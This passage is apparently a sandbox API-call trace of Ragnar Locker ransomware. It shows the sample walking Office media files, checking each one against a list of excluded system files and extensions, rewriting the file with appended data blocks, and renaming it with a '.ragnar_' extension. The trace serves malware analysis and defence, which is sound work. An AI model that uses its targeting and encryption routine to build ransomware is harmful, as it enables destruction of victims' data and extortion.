Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18212_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18212_.WMF.ragnar_FD7BD9FC" [0096.631] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18212_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18212_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18212_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18212_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.632] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1638d100, ftCreationTime.dwHighDateTime=0x1bdcf1f, ftLastAccessTime.dwLowDateTime=0xbcbffbc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1638d100, ftLastWriteTime.dwHighDateTime=0x1bdcf1f, nFileSizeHigh=0x0, nFileSizeLow=0x704, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18213_.WMF", cAlternateFileName="")) returned 1 [0096.632] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0096.632] lstrcpyW (in: lpString1=0x1eab64, lpString2="BD18213_.WMF" | out: lpString1="BD18213_.WMF") returned="BD18213_.WMF" [0096.632] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18213_.WMF") returned=".WMF" [0096.632] lstrcmpiW (lpString1="BD18213_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.632] lstrcmpiW (lpString1="BD18213_.WMF", lpString2="autorun.inf") returned 1 [0096.632] lstrcmpiW (lpString1="BD18213_.WMF", lpString2="boot.ini") returned -1 [0096.632] lstrcmpiW (lpString1="BD18213_.WMF", lpString2="bootfont.bin") returned -1 [0096.632] lstrcmpiW (lpString1="BD18213_.WMF", lpString2="bootsect.bak") returned -1 [0096.632] lstrcmpiW (lpString1="BD18213_.WMF", lpString2="bootmgr") returned -1 [0096.632] lstrcmpiW (lpString1="BD18213_.WMF", lpString2="bootmgr.efi") returned -1 [0096.632] lstrcmpiW (lpString1="BD18213_.WMF", lpString2="bootmgfw.efi") returned -1 [0096.632] lstrcmpiW (lpString1="BD18213_.WMF", lpString2="desktop.ini") returned -1 [0096.632] lstrcmpiW (lpString1="BD18213_.WMF", lpString2="iconcache.db") returned -1 [0096.632] lstrcmpiW (lpString1="BD18213_.WMF", lpString2="ntldr") returned -1 [0096.632] lstrcmpiW (lpString1="BD18213_.WMF", lpString2="ntuser.dat") returned -1 [0096.632] lstrcmpiW (lpString1="BD18213_.WMF", lpString2="ntuser.dat.log") returned -1 [0096.632] lstrcmpiW (lpString1="BD18213_.WMF", lpString2="ntuser.ini") returned -1 [0096.632] lstrcmpiW (lpString1="BD18213_.WMF", lpString2="thumbs.db") returned -1 [0096.632] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0096.632] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0096.632] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0096.632] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0096.632] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0096.632] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0096.632] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0096.632] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18213_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18213_.wmf")) returned 0x20 [0096.633] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18213_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18213_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0096.633] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=1796) returned 1 [0096.633] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6fb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.633] GetProcessHeap () returned 0x580000 [0096.633] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.634] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0096.635] VirtualAlloc (lpAddress=0x0, dwSize=0x704, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.635] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.635] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0096.635] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x704, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x704, lpOverlapped=0x0) returned 1 [0096.635] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0096.635] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x704, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.635] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x704, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x704, lpOverlapped=0x0) returned 1 [0096.636] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x704, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.636] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.636] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x704, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.636] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.636] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.636] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.636] WriteFile (in: hFile=0xf4, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0096.636] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.636] GetProcessHeap () returned 0x580000 [0096.636] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.636] CloseHandle (hObject=0xf4) returned 1 [0096.636] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18213_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18213_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18213_.WMF" [0096.636] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18213_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18213_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18213_.WMF.ragnar_FD7BD9FC" [0096.636] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18213_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18213_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18213_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18213_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.638] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c0d7900, ftCreationTime.dwHighDateTime=0x1bdcf1f, ftLastAccessTime.dwLowDateTime=0xbcbffbc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6c0d7900, ftLastWriteTime.dwHighDateTime=0x1bdcf1f, nFileSizeHigh=0x0, nFileSizeLow=0x7fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18214_.WMF", cAlternateFileName="")) returned 1 [0096.638] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0096.638] lstrcpyW (in: lpString1=0x1eab64, lpString2="BD18214_.WMF" | out: lpString1="BD18214_.WMF") returned="BD18214_.WMF" [0096.638] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18214_.WMF") returned=".WMF" [0096.638] lstrcmpiW (lpString1="BD18214_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.638] lstrcmpiW (lpString1="BD18214_.WMF", lpString2="autorun.inf") returned 1 [0096.638] lstrcmpiW (lpString1="BD18214_.WMF", lpString2="boot.ini") returned -1 [0096.638] lstrcmpiW (lpString1="BD18214_.WMF", lpString2="bootfont.bin") returned -1 [0096.638] lstrcmpiW (lpString1="BD18214_.WMF", lpString2="bootsect.bak") returned -1 [0096.638] lstrcmpiW (lpString1="BD18214_.WMF", lpString2="bootmgr") returned -1 [0096.638] lstrcmpiW (lpString1="BD18214_.WMF", lpString2="bootmgr.efi") returned -1 [0096.638] lstrcmpiW (lpString1="BD18214_.WMF", lpString2="bootmgfw.efi") returned -1 [0096.638] lstrcmpiW (lpString1="BD18214_.WMF", lpString2="desktop.ini") returned -1 [0096.638] lstrcmpiW (lpString1="BD18214_.WMF", lpString2="iconcache.db") returned -1 [0096.638] lstrcmpiW (lpString1="BD18214_.WMF", lpString2="ntldr") returned -1 [0096.638] lstrcmpiW (lpString1="BD18214_.WMF", lpString2="ntuser.dat") returned -1 [0096.638] lstrcmpiW (lpString1="BD18214_.WMF", lpString2="ntuser.dat.log") returned -1 [0096.638] lstrcmpiW (lpString1="BD18214_.WMF", lpString2="ntuser.ini") returned -1 [0096.638] lstrcmpiW (lpString1="BD18214_.WMF", lpString2="thumbs.db") returned -1 [0096.639] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0096.639] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0096.639] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0096.639] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0096.639] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0096.639] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0096.639] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0096.639] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18214_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18214_.wmf")) returned 0x20 [0096.639] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18214_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18214_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0096.639] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=2044) returned 1 [0096.639] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7f3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.639] GetProcessHeap () returned 0x580000 [0096.639] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.639] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0096.641] VirtualAlloc (lpAddress=0x0, dwSize=0x7fc, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.641] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.641] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0096.641] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7fc, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x7fc, lpOverlapped=0x0) returned 1 [0096.641] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0096.641] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7fc, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.641] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7fc, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x7fc, lpOverlapped=0x0) returned 1 [0096.641] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7fc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.641] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.642] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7fc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.642] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.642] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.642] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.642] WriteFile (in: hFile=0xf4, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0096.642] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.642] GetProcessHeap () returned 0x580000 [0096.642] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.642] CloseHandle (hObject=0xf4) returned 1 [0096.642] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18214_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18214_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18214_.WMF" [0096.642] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18214_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18214_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18214_.WMF.ragnar_FD7BD9FC" [0096.642] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18214_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18214_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18214_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18214_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.643] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b613000, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbcbffbc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2b613000, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0x6a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18215_.WMF", cAlternateFileName="")) returned 1 [0096.643] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0096.643] lstrcpyW (in: lpString1=0x1eab64, lpString2="BD18215_.WMF" | out: lpString1="BD18215_.WMF") returned="BD18215_.WMF" [0096.643] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18215_.WMF") returned=".WMF" [0096.643] lstrcmpiW (lpString1="BD18215_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.643] lstrcmpiW (lpString1="BD18215_.WMF", lpString2="autorun.inf") returned 1 [0096.643] lstrcmpiW (lpString1="BD18215_.WMF", lpString2="boot.ini") returned -1 [0096.643] lstrcmpiW (lpString1="BD18215_.WMF", lpString2="bootfont.bin") returned -1 [0096.643] lstrcmpiW (lpString1="BD18215_.WMF", lpString2="bootsect.bak") returned -1 [0096.643] lstrcmpiW (lpString1="BD18215_.WMF", lpString2="bootmgr") returned -1 [0096.643] lstrcmpiW (lpString1="BD18215_.WMF", lpString2="bootmgr.efi") returned -1 [0096.643] lstrcmpiW (lpString1="BD18215_.WMF", lpString2="bootmgfw.efi") returned -1 [0096.643] lstrcmpiW (lpString1="BD18215_.WMF", lpString2="desktop.ini") returned -1 [0096.643] lstrcmpiW (lpString1="BD18215_.WMF", lpString2="iconcache.db") returned -1 [0096.643] lstrcmpiW (lpString1="BD18215_.WMF", lpString2="ntldr") returned -1 [0096.643] lstrcmpiW (lpString1="BD18215_.WMF", lpString2="ntuser.dat") returned -1 [0096.643] lstrcmpiW (lpString1="BD18215_.WMF", lpString2="ntuser.dat.log") returned -1 [0096.643] lstrcmpiW (lpString1="BD18215_.WMF", lpString2="ntuser.ini") returned -1 [0096.643] lstrcmpiW (lpString1="BD18215_.WMF", lpString2="thumbs.db") returned -1 [0096.644] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0096.644] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0096.644] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0096.644] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0096.644] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0096.644] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0096.644] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0096.644] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18215_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18215_.wmf")) returned 0x20 [0096.644] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18215_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18215_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0096.644] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=1700) returned 1 [0096.644] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x69b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.644] GetProcessHeap () returned 0x580000 [0096.644] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.644] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0096.646] VirtualAlloc (lpAddress=0x0, dwSize=0x6a4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.646] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.646] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0096.646] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x6a4, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x6a4, lpOverlapped=0x0) returned 1 [0096.646] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0096.646] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6a4, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.646] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x6a4, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x6a4, lpOverlapped=0x0) returned 1 [0096.646] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6a4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.646] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.647] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.647] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.647] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.647] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0096.647] WriteFile (in: hFile=0xf4, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0096.647] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.647] GetProcessHeap () returned 0x580000 [0096.647] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.647] CloseHandle (hObject=0xf4) returned 1 [0096.647] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18215_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18215_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18215_.WMF" [0096.647] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18215_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18215_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft 